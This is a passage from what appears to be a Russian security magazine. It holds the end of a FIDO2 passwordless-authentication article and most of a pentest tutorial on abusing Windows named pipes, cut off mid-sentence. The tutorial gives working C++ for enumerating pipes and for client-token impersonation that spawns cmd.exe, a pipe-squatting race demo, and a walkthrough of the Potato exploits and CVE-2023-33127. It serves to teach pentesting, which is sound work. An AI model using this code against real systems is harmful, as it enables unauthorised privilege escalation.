Отмечу также, что вопрос приватности FIDO2 остается открытым — поль‐
зователь по‑прежнему оставляет на  стороне RP тонну личных данных, да  и
профилирование стандартными методами никуда не делось.

ВЫВОДЫ

Среди очевидных плюсов FIDO2 — защита от двух самых распространенных
кибератак: фишинга и  подбора паролей. Это, безусловно, воодушевляет,
однако не  стоит забывать, что совместное использование тех же самых
менеджеров паролей и 2FA дает практически такой же эффект.

Конечно, БА выглядит проще и  удобнее  — от  пользователя не  требуется
что‑то вводить или  придумывать, все, за  исключением нескольких нажатий,
происходит автоматически. Также на  стороне FIDO2  тот факт, что эта тех‐
нология  всеми основными браузерами и ОС.поддерживается

Пусть беспарольная аутентификация  — это  круто, но  большинство
веб‑ресурсов ее все‑таки не вводят. Компании не видят смысла, потому что,
во‑первых, сейчас и  так все прекрасно работает с  паролями, во‑вторых,
пользователи привыкли к  паролям, а  в‑третьих, БА  — это  новый процесс,
и  придется его согласовывать, выбирать софт и  платить разработчикам. То
есть БА для бизнеса — это долго, дорого и неинтересно.

Более того, FIDO2  — это  только протоколы, а  от ответственной стороны
зависит их реализация, правильная настройка требований к  аутентифика‐
торам, поддержка механизмов восстановления доступа и  хранения данных.
Это  накладывает на  бизнес дополнительную ответственность и  создает
новые риски. Возможно, именно из‑за этого БА пока держится на голом энту‐
зиазме отдельных компаний, а  серьезные сдвиги могут произойти только
после вмешательства регуляторов.

Пусть БА — это удобно, но понимает ли средний юзер, как она работает,
где хранятся волшебные ключи и чего делать нельзя? По крайней мере, сей‐
час люди в курсе, что пароли должны быть сложными и ими не нужно делить‐
ся, что есть фишинг, и, по  сути, пользователи сознательно идут на  риск,
не  соблюдая правила информационной гигиены. А  БА и  аппаратные
токены — это для людей просто магия.

Для примера можно вспомнить, как относятся к КЭП генерального дирек‐
тора в небольших компаниях: аппаратный токен с ней гуляет по всему офису
и  каждый сотрудник подписывает и  принимает документы подписью
генерального директора.

Пароль легко передать доверенному лицу, и  все умеют это  делать. С  БА
появятся новые способы делиться доступом, но, чтобы они работали, нужна
совместимость между устройствами. Да  и сами пользователи должны знать
о том, как работает эта функция, и уметь ей пользоваться.

С самим FIDO2 тоже не все так гладко. В протоколах CTAP и WebAuthn есть
внутренние уязвимости и слабые механизмы защиты, а между ними — прос‐
лойка в  виде ОС, которая делает нас зависимыми от  третьей стороны, чьи
действия FIDO2 не регулирует.

FIDO2 по‑прежнему подвержен MitM и кражам сессии, да и в плане при‐
ватности для  пользователя он не  дает новых надежд. Аппаратные токены
не обновляются, так как это несет риск их заразить, поэтому на пользователя
падает бремя не только выбора и покупки железа, но и его замены в случае
критической уязвимости.

БА ради удобства предлагает отказаться от пароля и использовать только
один фактор. Получается, что мы скатываемся от  привычного  2FA, где есть
и  пароль и  код OTP к  1FA, где есть только аутентификатор. Конечно, можно
реализовать многофакторную БА и использовать ещё, например, биометрию,
но в чем тогда разница с нынешней парольной аутентификацией? Все равно
ведь нужно будет вписывать разные коды и даже таскать с собой аппаратный
токен, что повышает риск его потерять.

FIDO2, как и идея БА, конечно, выглядят очень многообещающе. Продела‐
на огромная работа, крупные компании согласились действовать вместе
ради благородной цели  — сделать жизнь проще и  безопаснее. И  пускай
начало беспарольной революции уже положено, но  работы предстоит
еще  очень много. А  значит, в  обозримом будущем мы вряд ли откажемся
от паролей.

https://www.iana.org/assignments/cose/cose.xhtml#algorithms
https://fidoalliance.org/metadata/
https://www.ndss-symposium.org/wp-content/uploads/2024-327-paper.pdf
https://xakep.ru/2024/09/05/eucleak/
https://tools.ietf.org/html/rfc8471
https://publications.cispa.de/articles/conference_contribution/How_Not_to_Handle_Keys_Timing_Attacks_on_FIDO_Authenticator_Privacy/24614274?file=43248537
https://passkeys.dev/device-support/
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ВЗЛОМ

В Windows есть много средств межпроцес‐
сного взаимодействия. Одно из них — име‐
нованные каналы, в народе — пайпы. Давай
попробуем направить всю мощь вво‐
да‑вывода на  благо пентеста и  научимся
злоупотреблять этим механизмом сооб‐
щений. Пусть никто не уйдет без эскалации
привилегий!

В системе крутится огромное количество процессов: системные вроде
, , а  также твои любимые браузер, Steam

и  МалварьПисатьБыстроСтудия.ехе. Большинство из  них хранят молчание
и не делятся никакой информацией с внешним миром — считай, такие про‐
цессы‑интроверты вроде нас с  тобой. Однако бывает и  иначе. Некоторые
процессы должны передавать данные своим сородичам: информацию о сос‐
тоянии CPU, разрешении экрана, нажимаемых символах на клавиатуре.

explorer.exe RunTimeBroker.exe

Простейший способ взаимодействия между двумя общими процессами —
создание файла. Один процесс пишет, другой читает. Впрочем, это не самый
удобный способ общения, правда? Здесь возникают проблемы с  синхро‐
низацией, атомарным доступом, настройкой дескрипторов безопасности...

Поэтому разработчики Windows придумали чуть более удобный способ
передачи данных и изобрели огромное количество сущностей, позволяющих
передавать данные между процессами. Одна из  этих сущностей  — име‐
нованный канал (Named Pipe).

ЧТО ТАКОЕ PIPE

Пайп представляет собой объект типа , управляемый специаль‐
ной файловой системой с именем NPFS — Named Pipe File System. Пайп поз‐
воляет писать и считывать из себя данные разным процессам, что и решает
задачу их взаимодействия. На сетевом уровне передача данных происходит
поверх протокола SMB.

FILE_OBJECT

Создание именованного канала происходит с  помощью функции
.CreateNamedPipe()

 HANDLE CreateNamedPipeA(
 [in]           LPCSTR                lpName,
 [in]           DWORD                 dwOpenMode,
 [in]           DWORD                 dwPipeMode,
 [in]           DWORD                 nMaxInstances,
 [in]           DWORD                 nOutBufferSize,
 [in]           DWORD                 nInBufferSize,
 [in]           DWORD                 nDefaultTimeOut,
    [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

Давай посмотрим, за что отвечает каждое из полей:
 — имя создаваемого пайпа. Оно может не быть уникальным. Нап‐

ример, в  системе без  проблем может быть создан пайп с  именем 
и следом за ним еще один . Взаимодействовать клиенты, конечно же,
будут с тем пайпом, который был создан раньше;

• lpName

1123

1123

 — режим работы пайпа (ввод/вывод, только вывод или толь‐
ко ввод) плюс дополнительные флаги. Среди них выделяется

, который позволяет ограничить воз‐
можность создания пайпов с одинаковым именем. Впрочем, к этому флагу
мы еще вернемся;

• dwOpenMode

FILE_FLAG_FIRST_PIPE_INSTANCE

 — режим работы пайпа. Пайп может передавать поток бай‐
тов, а может поток сообщений. Здесь же задается возможность контроля
подключения удаленных клиентов и «удержания» клиентов до тех пор, пока
все данные не будут считаны или записаны, — так называемый режим бло‐
кировки;

• dwPipeMode

 — максимальное количество экземпляров канала. Опре‐
деляет, сколько пайпов с таким именем может быть в системе. Можно ука‐
зать , чтобы ОС сама выбрала это количес‐
тво, основываясь на доступных ресурсах;

• nMaxInstances

PIPE_UNLIMITED_INSTANCES

,  — позволяют указать размеры в бай‐
тах выходного и входного буфера именованных каналов. Можно указать ,
тогда система будет использовать размеры по умолчанию;

• nOutBufferSize nInBufferSize

0

 — длительность интервала ожидания в миллисекундах
для функции ;

• nDefaultTimeOut

WaitNamedPipe()

  — атрибуты защиты. Кстати, это  единственный
механизм защиты в  пайпах. Если в  качестве этого значения передавать

, то к пайпу смогут получить полный доступ члены группы ЛА, система
и  создатель пайпа, а  доступ на  чтение будет у  Everyone и  учетки
Anonymous. Короче, если при  создании пайпа ты не  указал дескриптор
безопасности, то данные из этого пайпа сможет читать кто угодно.

• lpSecurityAttributes

NULL

Для работы с  пайпом применяются еще  некоторые функции (ссылки
на документацию):

;• ConnectNamedPipe()
;• WaitNamedPIpe()

.• DisconnectNamedPipe()

Первая функция дает возможность серверу ждать подключения клиента (кли‐
ент подключается «прозрачно»  — ему достаточно указать пайп в  вызове

 или  ).CreateFile() CallNamedFile()

 BOOL ConnectNamedPipe(
    HANDLE hNamedPipe,
    LPOVERLAPPED lpOverlapped
)

Поля:
 — хендл на созданный на сервере пайп;• hNamedPipe

 — позволяет контролировать асинхронные операции, свя‐
занные с  клиентскими действиями на  пайпе. Например, чтобы поток
управления возвращался сразу же, а  не после считывания всех байтов
функцией .

• lpOverlapped

ReadFile()

Соответственно, функция‑антоним — это  . Она дает

тебе возможность отключить клиент от пайпа.

DisconnectNamedPipe()

 дает клиенту возможность ждать подключения к  сер‐

веру. Например, пытаться подключиться до тех пор, пока пайп не освободит‐
ся или не пройдет пять минут.

WaitNamedPipe()

 BOOL WaitNamedPipeA(
   [in] LPCSTR lpNamedPipeName,
    [in] DWORD nTimeOut
);

 — имя пайпа;• lpNamedPipeName

  — время в  миллисекундах, в  течение которого функция будет
ожидать доступности пайпа. Можно указать 
для бесконечного ожидания.

• nTimeOut

NMPWAIT_WAIT_FOREVER

ПРИМЕР КЛИЕНТА И СЕРВЕРА

Для общего понимания предлагаю посмотреть, как может выглядеть переда‐
ча строки с сервера на клиент.

// Server.cpp
 #include <Windows.h>
 #include <iostream>

  int main() {
      wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe";
      wchar_t message[40] = L"Hello World";
      HANDLE serverpipe = NULL;
       

         
serverpipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX,

PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 0,
NULL);
      BOOL isPipeConnected = FALSE;
      isPipeConnected = ConnectNamedPipe(serverpipe, NULL);
     if (isPipeConnected) {

        DWORD dw;
           WriteFile(serverpipe, message, sizeof(message), &dw, NULL);

             std::cout << dw << "Writed bytes to pipe" << std::endl;
       DisconnectNamedPipe(serverpipe);
   }
   CloseHandle(serverpipe);
    return 0;
}

// Client.cpp
 #include <Windows.h>
 #include <iostream>

  int main() {
       wchar_t pipeName[] = L"\\\\.\\pipe\\mypipe"; // Можно засунуть 
айпишник "\\\\10.10.10.10\\pipe\\mypipe"
      HANDLE clientPipe = NULL;
        wchar_t newMessage[40] = { 0 };
   // Коннект к пайпу
         
    

clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0
, NULL, OPEN_EXISTING, 0, NULL);

           ReadFile(clientPipe, newMessage, sizeof(newMessage), NULL, 0)
;

          MessageBox(NULL, newMessage, NULL, MB_OK);
    return 0;
}

Если хотим реализовать многопоточный сервер, то есть при каждом подклю‐
чении клиента создавать поток, в справке есть .
Мы также можем использовать функцию  для проверки того,
нет ли в пайпе новых данных.

хороший пример реализации
PeekNamedPipe()

ИЗУЧЕНИЕ ДОСТУПНЫХ ПАЙПОВ

В системе одновременно работает множество именованных каналов. В сле‐
дующих разделах будем их активно эксплуатировать, поэтому логично будет
научиться находить работающие пайпы!

Process Hacker
Самый простой способ обнаружения пайпов  — воспользоваться красивым
GUI в  .Process Hacker

Достаточно ввести в поисковой строке pipe

C++
Для более глубокого контроля и  написания собственных инструментов
было  бы неплохо создать полноценную тулзу для  обнаружения работающих
пайпов. Здесь нам подойдет особенность именования каналов  — все они
начинаются с  . В действительности это отдельное пространство имен.

По нему можно пробегаться так же, как и при поиске обычных файлов.

.pipe

 #include <windows.h>
 #include <iostream>
 #include <string>

 int main()
{
    HANDLE hFind;
    WIN32_FIND_DATA findFileData;
      LPCWSTR pipesPath = L"\\\\.\\pipe\\*";

      hFind = FindFirstFile(pipesPath, &findFileData);
      if (hFind == INVALID_HANDLE_VALUE)
   {

    
  

       std::wcerr << L"Failed to find pipes, error: " <<
GetLastError() << std::endl;

        return 1;
   }

   do
   {

          std::wstring pipeName = L"\\\\.\\pipe\" + std::wstring(
findFileData.cFileName);

          std::wcout << L"Found named pipe: " << pipeName;

       HANDLE hPipe = CreateFile(
           pipeName.c_str(),
           GENERIC_READ |
           GENERIC_WRITE,
           0,
           NULL,
           OPEN_EXISTING,
           0,
           NULL);

       if (hPipe != INVALID_HANDLE_VALUE)
       {
           DWORD clientPID;
           if (GetNamedPipeClientProcessId(hPipe, &clientPID))
           {

                  std::wcout << L", Client PID: " << clientPID;
           }
           else
           {

                      std::wcerr << L", Failed to get client PID, error: " 
<< GetLastError();
           }

           if (GetNamedPipeServerProcessId(hPipe, &clientPID))
           {

                  std::wcout << L", Server PID: " << clientPID;
           }
           else
           {

                      std::wcerr << L", Failed to get client PID, error: " 
<< GetLastError();
           }

           CloseHandle(hPipe);
       }
       else
       {

                 std::wcerr << L", Failed to open pipe, error: " << 
GetLastError();
       }

       std::wcout << std::endl;

   } while (FindNextFile(hFind, &findFileData) != 0);

   FindClose(hFind);
   return 0;
}

Пример поиска пайпов

Я также добавил пример обнаружения PID клиента пайпа и сервера. Я пред‐
полагаю, что клиент всегда будет нашим процессом, однако ты можешь вос‐
пользоваться функцией  и в другом контек‐
сте: например, перехватив чужой хендл, как  я описывал в  статье «

».

GetNamedPipeClientProcessId()
Ломаем

дескрипторы! Как злоупотреблять хендлами в Windows
Еще есть чуть более сложный вариант  — сначала получить все хендлы,

а потом среди них находить пайпы. Я бы гордо игнорировал этот метод, одна‐
ко у  меня в  заметках сохранен , значит, кому‑то когда‑то
это понадобилось.

такой код

PowerShell
Согласись, что автоматизация и C++ — не самые близкие вещи. Исследовать
пайпы можно и через PowerShell, можно даже сделать красивый вывод дес‐
крипторов.

# Ко всем пайпам
    Get-ChildItem \\.\pipe\ | ForEach-Object -ErrorAction 
SilentlyContinue GetAccessControl


# К конкретному пайпу

   Get-ChildItem \\.\pipe\eventlog | ForEach-Object -ErrorAction 
SilentlyContinue GetAccessControl


Пример вывода дескриптора

IO Ninja
Но самый крутой вариант, особенно с  целью найти уязвимость,  — это 

. Эта утилита позволяет выводить максимально подробную информацию
о пайпах и предоставляет все необходимые данные для ресерча.

IO
Ninja

Пример использования IO Ninja

PipeViewer
С IO Ninja может смело посоревноваться . У инструмента приятный
графический интерфейс, автоматический вывод дескрипторов и  функция
PipeChat, позволяющая установить быстрое соединение с каналом.

PipeViewer

Интерфейс PipeViewer
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ИМПЕРСОНАЦИЯ КЛИЕНТОВ

Предлагаю начать с базы. Серверы именованных каналов имеют право оли‐
цетворять подключенные клиенты. Причем если клиент не  переопределял
уровень имперсонации, то ему будет назначен стандартный  —
SecurityImpersonation. Такого уровня достаточно для запуска  от лица
пользователя.

cmd.exe

Сервер может нацепить на  себя токен клиента через вызов функции
.ImpersonateNamedPipeClient()

 BOOL ImpersonateNamedPipeClient(
   [in] HANDLE hNamedPipe
);

Здесь  — это хендл пайпа, к которому подключился клиент.hNamedPipe
В этом и следующих разделах мы будем симулировать поведение клиента

и  сервера. В  коде ты встретишь  (Pipe Server) и    —
клиентская часть, которая подключается к пайпу.

Server.cpp Client.cpp

Для имперсонации клиента достаточно лишь дождаться его подключения
и вызвать функцию чтения.

// Client.cpp
 #include <iostream>
 #include <Windows.h>

    const int MESSAGE_SIZE = 512;

 int main()
{
      LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
      HANDLE hClientPipe = NULL;

      wchar_t msg[] = L"imp";
    DWORD dwBytesReaded;

         std::wcout << L"Connecting to " << cwPipeName << std::endl;
        
     

hClientPipe = CreateFile(cwPipeName, GENERIC_READ | GENERIC_WRITE
, 0, NULL, OPEN_EXISTING, 0, NULL);

      if (hClientPipe != NULL)
   {

           std::wcout << L"Success" << std::endl;

         while (true) {
               ReadFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded,

NULL);
               WriteFile(hClientPipe, &msg, wcslen(msg), &dwBytesReaded,

NULL);
       }

   }
    return 0;
}

// Server.cpp
 #include <iostream>
 #include <windows.h>
 #include <sddl.h>

  int main() {
      LPCWSTR cwPipeName = L"\\\\.\\pipe\\mysuperpipe";
      HANDLE hServerPipe = NULL;
      BOOL bPipeConnected = FALSE;
    DWORD dwErr;
      wchar_t msg[] = L"imp";
    DWORD dwBytesWritten;

        SECURITY_DESCRIPTOR sd = { 0 };
        SECURITY_ATTRIBUTES sa = { 0 };

     if (!InitializeSecurityDescriptor(&sd,
SECURITY_DESCRIPTOR_REVISION))
   {

 
       wprintf(L"InitializeSecurityDescriptor() failed. Error: %d\n"
, GetLastError());

        return NULL;
   }

    
   

if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;
OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL
))
   {

 

       wprintf(
L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. 
Error: %d\n", GetLastError());

        return NULL;
   }

       
       

hServerPipe = CreateNamedPipe(cwPipeName, PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);

      bPipeConnected = ConnectNamedPipe(hServerPipe, NULL);

     if (bPipeConnected) {
           std::wcout << "Client Connected!" << std::endl;

           WriteFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten,
NULL);

           ReadFile(hServerPipe, msg, wcslen(msg), &dwBytesWritten, NULL
);

          if (ImpersonateNamedPipeClient(hServerPipe) == 0)
       {

             dwErr = GetLastError();
               std::wcout << dwErr << std::endl;

       }

        HANDLE hSystemToken;
        HANDLE hSystemTokenDup;

   
 

       if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS,
FALSE, &hSystemToken))
       {

            wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError
());

            return -1;
       }

    
  

       if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hSystemTokenDup))
       {

            wprintf(L"DuplicateTokenEx() failed. Error: %d\n",
GetLastError());

            return -1;
       }

          wchar_t command[] = L"C:\\Windows\\system32\\cmd.exe";
          PROCESS_INFORMATION pi = {};

          STARTUPINFO si = {};
        ZeroMemory(&si, sizeof(STARTUPINFO));

         si.cb = sizeof(STARTUPINFO);

        DWORD len;
        TOKEN_STATISTICS stats;

   
   

       if (::GetTokenInformation(hSystemTokenDup, TokenStatistics, &
stats, sizeof(stats), &len)) {

            printf("Logon Session ID: 0x%08llX\n", (stats.
AuthenticationId));

   
    

           printf("Token Type: %s\n", stats.TokenType ==
TokenPrimary ? "Primary" : "Impersonation");

            printf("Dynamic charged (bytes): %lu\n", stats.
DynamicCharged);

            printf("Dynamic available (bytes): %lu\n", stats.
DynamicAvailable);

            printf("Group count: %lu\n", stats.GroupCount);
            printf("Privilege count: %lu\n", stats.PrivilegeCount);

       }

  
      

   

       if (CreateProcessWithTokenW(hSystemTokenDup,
LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &
si, &pi) == 0)
       {

             dwErr = GetLastError();
               std::wcout << dwErr << std::endl;

       }
   }
    return 0;
}

В клиентском коде все очевидно  — происходит лишь подключение к  пайпу.
В  коде сервера создаем пайп, меняем его дескриптор (чтобы у  всех были
права на  чтение/запись), после подключения клиента хватаем его токен
и  имперсонируем. Сервер рекомендую запускать от  лица системы либо
от  учетной записи, у  которой есть права на  вызов

.CreateProcessWithTokenW()

Первый шаг — поднятие сервера

Второй шаг — запуск фейкового клиента. Симуляция подключения

Успешная имперсонация

Есть реализации и  на других языках, вот два варианта на  PowerShell: 
за  авторством S3cur3Th1sSh1t,  из  репозитория пользователя
decoder-it.

один
второй

От этой атаки, конечно же, есть защита. Клиент может контролировать
уровень имперсонации. О  защите подробно написано в 

. Если тебе интересно узнать, как  конкретно работает
имперсонация через пайпы, рекомендую изучить  Джонатана Джон‐
сона.

ответе
на  StackOverflow

материал

ЧЕЙН С SEIMPERSONATE

Возможности имперсонации часто используются в  популярных эксплоитах
«картофельной» серии. Они позволяют повысить свои привилегии до уровня
системы, имея доступ к учетной записи с SeImpersonatePrivilege. Общий кон‐
цепт прост: стриггерить учетную запись системы на  пайп, захватить токен,
нацепить его на себя.

Вот несколько таких эксплоитов:
 — триггер на пайп происходит через службу печати;• PrintSpoofer

  — триггер через службу печати, а  также через механизм
PetitPotam со злоупотреблением функциями протокола MS-EFSR;

• CoercedPotato

 — триггер через уязвимую службу DiagTrack;• DiagTrack
 — злоупотребление службой Rasman;• RasmanPotato

 — служба AzureAttestService.• magicAzureAttestService

Отдельно хочу выделить эксплоит . Глобально его логика ничем
не  отличается от  инструментов, перечисленных выше, однако сам триггер
происходит по методу Kerberos Relay. То есть идет злоупотребление DCOM-
аутентификацией. Я подробно рассматривал этот механизм в  материале
« » на «Хабре».

GodPotato

Ретрансляция Kerberos. Как работает RemoteKrbRelay
Вот что происходит при использовании этого эксплоита.

1. Запускается .пайп‑сервер

Запуск Pipe-сервера

2. Через перезапись кода функция  биндит на разрешенном 135-
м порте (чтобы перехватывать SMB-аутентификацию) функции

 в  RPC Dispatch Table. Вместо этого будет
вызываться функция .

HookRPC()

RpcServerUseProtseqEp()
fun()

Перезапись RPC Dispatch Table

3. В качестве конечной точки для подключения указывается .пайп

Эта функция пишется в RPC Dispatch Table, здесь можно увидеть
эндпоинт

4. Срабатывает триггер системы через маршаллинг вредоносного объекта
OBJREF. Происходит обращение к OXID Resolver.

5. OXID Resolver отдает RPC String Binding на эндпоинт из пункта 3.
6. Происходит аутентификация на  NamedPipe и  дергается функция

.ImpersonateNamedPipeClient()

Имперсонация собственной персоной

СКРЫТОЕ ЧТЕНИЕ ДАННЫХ

Как ты уже знаешь, пайпы нужны для чтения данных. У пайпов есть дескриптор
безопасности, который по умолчанию позволяет всем читать текстовые дан‐
ные из  пайпа. Сразу даже как‑то не  верится: неужели мы можем считывать
все данные из пайпа? Можем!

Нужно только учесть одну особенность: читают данные обычно с помощью
стандартных API, например . А такое считывание приведет к тому,

что пайп опустеет. То есть данные будут считаны и удалены из пайпа. Для нас
такое поведение недопустимо, поэтому на  помощь приходит функция

. Эта функция считывает данные, не удаляя их из пайпа.

ReadFile()

PeekNamedPipe()
С ней мы сможем получить список пайпов в системе, а потом в цикле счи‐

тывать из  них данные с  помощью  и  искать в  них чувстви‐
тельную информацию или  хотя  бы какие‑нибудь данные, которые помогут
тебе продвинуться дальше.

PeekNamedPipe()

Я немного изменил логику программы в  части поиска пайпов, добавив
возможность чтения данных, лежащих в пайпе, с выводом размерности. Код
большой, целиком ищи на  .моем GitHub

Пример чтения
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ГОНКА ПАЙПОВ

Помнишь, я говорил, что можно создавать неограниченное количество
каналов с  одним и  тем же именем? Система будет использовать тот канал,
который был создан раньше. Можно считать, что все пайпы с одним названи‐
ем организованы в формате очереди — First In First Out.

Таким образом, появляется возможность некоторого состояния гонки: кто
быстрей, того и  тапки. Есть одно исключение: если при  создании пайпа
используется флаг , то Windows автомати‐
чески проверит, нет ли пайпа с таким именем. Если имя уже занято, то пайп
не  создастся. Также стоит учесть параметр , который опре‐

деляет максимальное количество пайпов с одним именем.

FILE_FLAG_FIRST_PIPE_INSTANCE

nMaxInstances

Держи в голове и еще одну особенность: если в системе уже создан пайп,
то новые создаваемые пайпы с таким же именем будут наследовать дескрип‐
тор безопасности ранее созданного пайпа.

Как это можно эксплуатировать? Допустим, есть клиентское приложение,
возможно даже работающее в  другом контексте, которое пытается подклю‐
читься к  такому же привилегированному приложению  — серверу пайпов.
Если мы сможем опередить серверное приложение и создать пайп с нужным
именем раньше, то клиент подключится к нам и у нас будут все возможности
для  воздействия на  него. Например, никто не  помешает имперсонировать
чужой контекст или отправлять специально созданные пакеты в пайп, ожидая,
что клиент совершит вредоносные действия.

Итак, сценарий атаки на клиент по шагам.
1. Определяем целевое приложение, которое создает пайп.
2. Обнаруживаем клиенты пайпа. Делать это можно через PipeViewer.

Поиск клиентов

3. Пишем приложение, которое создает пайп с таким же именем, что и ата‐
куемое приложение.

4. Реализуем Race Condition, создавая наш пайп раньше, чем приложе‐
ние‑сервер.

5. Клиенты начинают подключаться к нам.
6. Проводим имперсонацию или  пишем/читаем данные. В  общем, воздей‐

ствуем на клиент так, как можем.

Есть сценарий атаки на  сервер. Держишь еще  в голове информацию
про дескриптор? Смотри:
1. Обнаруживаем приложение, которое создает пайп.
2. Можем попытаться пореверсить целевое приложение и попытаться обна‐

ружить, какие его возможности доступны клиентам и что они могут делать
с сервером. Следует также проверить DACL пайпа.

3. Скорее всего, DACL не позволит нам подключаться к этому пайпу, поэтому
здесь в игру и вступает наш Race Condition.

4. Пишем программу, которая создает пайп с  таким же именем, что и  ата‐
куемое приложение. Затем нужно сделать как‑то так, чтобы наша прог‐
рамма создала пайп раньше, чем атакуемое приложение.

5. Если мы сможем опередить атакуемое приложение, то последующие соз‐
даваемые атакуемым приложением пайпы будут наследовать права дос‐
тупа нашего пайпа. Это позволит нам подключиться к ранее недоступному
пайпу и пользоваться его возможностями.

6. Успешно подключаемся к пайпу в целевом приложении и злоупотребляем
его возможностями.

Подобная ситуация уже  в  реальных условиях: это 
. Подсистема CLR Diagnostics создавала пайп в  любом дотнетовском

приложении. Конечно же, просто так к этому пайпу подключиться было нель‐
зя  — это  могла сделать только система или  пользователь  — владелец про‐
цесса. Однако у атакующего была возможность опередить CLR. В таком слу‐
чае он успешно создавал пайп с нужным именем, а затем подключалась сис‐
тема CLR и создавала еще один пайп (считай, второй в очереди). В этот раз,
так как DACL наследовался, созданный системой CLR в процессе .NET пайп
позволял подключаться к себе. И тогда атакующий мог воспользоваться воз‐
можностями приложения, подгрузив в него .

встречалась CVE-2023-
33127

вредоносный код
Повторим пошагово.

1. Эксплоит сначала должен запустить любое дотнетовское приложение
от лица другого пользователя через Session Moniker. Моникеры я рассмат‐
ривал в  статье «

». Автор PoC запускал приложение PhoneExperienceHost.
Угон COM. Как  работает кража сессии через механизм

COM
2. Приложение написано на  .NET, поэтому платформа CLR будет пытаться

создать пайп с  именем 
.

dotnet-diagnostic-{PhoneExperienceHost 

PID}

3. С помощью эксплоита обгоняем платформу CLR и  создаем этот пайп
в нашем процессе.

4. Просыпается CLR, создает еще  один пайп, уже в  процессе
.PhoneExperienceHost

5. На этот второй пайп наследуется дескриптор нашего пайпа (первого). А в
нем мы можем прописать что угодно, например разрешение FullAccess
группе Everyone.

6. Подключаемся ко второму пайпу.
7. Используем возможности приложения и подгружаем профилировщик кода

с  вредоносным пейлоадом. Здесь‑то и  происходит LPE, потому что мы
смогли:
 - инстанцировать .NET-приложение в  чужой сессии;
 - создать
в  нем пайп, к  которому можем подключиться;
 - подключиться к  пайпу
и злоупотребить его возможностями.

Для наглядности продемонстрирую эту атаку. Пусть есть некоторый пайп
, к которому подключается клиент, читает из него дан‐

ные и  выводит в  консоль. Есть также легитимный Pipe Server, который этот
пайп запускает и передает клиенту строку.

\\.\pipe\helloworld

// Client.cpp
 #include <windows.h>
 #include <iostream>

  int wmain() {
       const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
      HANDLE hPipe = CreateFileW(
       pipeName,
       GENERIC_READ,
       0,
       NULL,
       OPEN_EXISTING,
       0,
       NULL);

       if (hPipe == INVALID_HANDLE_VALUE) {
    

  
       std::wcerr << L"Error connecting to pipe. Error code: " <<
GetLastError() << std::endl;

        return 1;
   }

    wchar_t buffer[512];
    DWORD bytesRead;

         if (!ReadFile(hPipe, buffer, sizeof(buffer), &bytesRead, NULL)) {
    

  
       std::wcerr << L"Error reading data. Error code: " <<
GetLastError() << std::endl;
   }
    else {

             std::wcout << L"Received message: " << buffer << std::endl;
   }

   CloseHandle(hPipe);
    return 0;
}

 #include <windows.h>
 #include <iostream>

  int wmain() {
       const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
      HANDLE hPipe = CreateNamedPipeW(
       pipeName,
       PIPE_ACCESS_OUTBOUND,

         PIPE_TYPE_BYTE | PIPE_WAIT,
       PIPE_UNLIMITED_INSTANCES,
       512,
       512,
       0,
       NULL);

       if (hPipe == INVALID_HANDLE_VALUE) {
    

  
       std::wcerr << L"Error creating named pipe. Error code: " <<
GetLastError() << std::endl;

        return 1;
   }

       std::wcout << L"Waiting for client connection..." << std::endl;

        if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
    

  
       std::wcerr << L"Error connecting client. Error code: " <<
GetLastError() << std::endl;
       CloseHandle(hPipe);

        return 1;
   }

       const wchar_t* message = L"Hello from Pipe Server!";
    DWORD bytesWritten;

          
   

if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(
wchar_t), &bytesWritten, NULL)) {

    
  

       std::wcerr << L"Error sending data. Error code: " <<
GetLastError() << std::endl;
   }
    else {

             std::wcout << L"Message sent: " << message << std::endl;
   }

   CloseHandle(hPipe);
    return 0;
}

Легитимное исполнение

Однако некий  оказался быстрее нашего . Смотри, что

происходит:

Evil.exe Server.exe

// Evil.cpp
 #include <windows.h>
 #include <iostream>

  int wmain() {
       const wchar_t* pipeName = L"\\\\.\\pipe\\helloworld";
      HANDLE hPipe = CreateNamedPipeW(
       pipeName,
       PIPE_ACCESS_OUTBOUND,

         PIPE_TYPE_BYTE | PIPE_WAIT,
       PIPE_UNLIMITED_INSTANCES,
       512,
       512,
       0,
       NULL);

       if (hPipe == INVALID_HANDLE_VALUE) {
    

  
       std::wcerr << L"Error creating named pipe. Error code: " <<
GetLastError() << std::endl;

        return 1;
   }

       std::wcout << L"Waiting for client connection..." << std::endl;

        if (ConnectNamedPipe(hPipe, NULL) == FALSE) {
    

  
       std::wcerr << L"Error connecting client. Error code: " <<
GetLastError() << std::endl;
       CloseHandle(hPipe);

        return 1;
   }

       const wchar_t* message = L"<img src=x onerror=alert()>!";
    DWORD bytesWritten;

          
   

if (!WriteFile(hPipe, message, (wcslen(message) + 1) * sizeof(
wchar_t), &bytesWritten, NULL)) {

    
  

       std::wcerr << L"Error sending data. Error code: " <<
GetLastError() << std::endl;
   }
    else {

             std::wcout << L"Message sent: " << message << std::endl;
   }

   CloseHandle(hPipe);
    return 0;
}

Пример эксплуатации

Как видишь,  создал пайп раньше, за ним тот же самый пайп создал

и  , но, согласно принципу FIFO, Windows дала возможность под‐
ключиться клиенту первым к Evil.exe, а Server.exe проигнорировала.

Evil.exe
Server.exe

ВЫВОДЫ

Порой встроенные механизмы межпроцессного взаимодействия могут таить
в  себе самые неожиданные концепции и  примитивы, которые позволят ата‐
кующему повыситься в системе, прочитать чувствительные данные или внед‐
